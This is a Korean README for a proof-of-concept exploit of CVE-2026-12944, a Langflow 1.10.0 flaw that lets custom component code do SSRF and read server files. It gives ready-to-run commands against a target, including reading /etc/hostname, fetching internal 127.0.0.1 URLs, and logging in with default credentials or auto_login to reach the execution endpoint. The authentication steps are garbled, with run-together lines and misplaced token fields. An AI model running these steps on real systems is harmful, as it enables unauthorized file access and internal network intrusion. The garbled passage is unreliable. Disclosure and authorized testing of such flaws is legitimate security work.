
CVE-2026-12944에 대한 Python PoC로, Langflow 1.10.0의 urllib SSRF 및 파일 읽기 취약점입니다. 버전을 핑거프린팅하고 custom_component 엔드포인트를 익스플로잇합니다.
Langflow 1.10.0 urllib SSRF
Langflow OSS ≤ 1.10.0 — urllib.request / socket을 통한 커스텀 컴포넌트 코드 실행. 컴포넌트 스캐너의 차단 목록에서 해당 표준 라이브러리 모듈이 누락되어 있었다. IBM은 1.10.1에서 이를 수정했다.
IBM은 이를 PR:L로 평가한다. 실행 싱크는 POST /api/v1/custom_component이며, 해당 호출에는 세션 쿠키 또는 베어러 토큰이 필요하다. 이 PoC가 토큰을 얻는 방법:
--test는 인증하지 않는다. GET /api/v1/version만 수행한다(추가로 연결 확인용 GET /).--read / --fetch는 먼저 인증한 뒤 컴포넌트를 POST한다.LANGFLOW_AUTO_LOGIN**이 있다. 스크립트는 GET /api/v1/auto_login을 호출하고, JSON에 이 있으면 를 전송한다. 사용자 이름이나 비밀번호는 필요 없다.access_tokenAuthorization: Bearer …--uname / --password를 사용해 application/x-www-form-urlencoded(username, password)로 POST /api/v1/login을 호출한다. 기본값은 langflow / langflow이다.urllib.request.urlopen(...)을 호출하는 {"code": …}와 함께 POST /api/v1/custom_component를 수행한다.--uname / --password는 4단계에서만 사용된다. 기본 설치에서는 사용되지 않는다.
승인된 테스트 전용이다. 소유하지 않았거나 테스트 권한이 없는 시스템에 대해 실행하지 말 것.
요구 사항: Python 3, 표준 라이브러리만 사용.
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
| 플래그 | 기능 |
|---|---|
-u / --url | Langflow 기본 URL(필수). http:// 또는 https://. 스킴이 없는 호스트 이름은 HTTPS를 먼저 시도한 후 HTTP를 시도한다. http→https 리다이렉트는 POST를 유지한다. 잘못된 TLS 인증서는 검증 없이 재시도되며, --insecure는 처음부터 검증을 건너뛴다 |
--test | 핑거프린트만 수행: GET /api/v1/version(공개). 로그인 없음, custom_component 없음 |
--read PATH | 가젯 실행: urllib.request로 PATH를 file:// 읽기(서버에서 실행됨) |
--fetch URL | SSRF: urllib.request.urlopen(URL) 후 본문 출력 |
--uname / --password | AUTO_LOGIN이 꺼져 있을 때만 사용(기본값: langflow / langflow) |
--insecure | TLS 검증 건너뛰기 |
--timeout | HTTP 타임아웃(초, 기본값 30) |
--test 엔드포인트: GET /api/v1/version. "version" / "main_version"과 함께 200이 반환되면 VERSION을 출력하고, 해당 문자열이 1.0.0–1.10.0이면 IN_WINDOW를 출력한 다음 PRESENT를 출력한다. /api/v1/auto_login이나 /api/v1/custom_component는 절대 호출하지 않는다.
--read / --fetch는 GET /api/v1/auto_login(또는 POST /api/v1/login)을 호출한 다음 **POST /api/v1/custom_component**를 호출한다.
표준 출력: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

CVE: CVE-2026-12944. IBM 공지; 1.10.1로 업그레이드.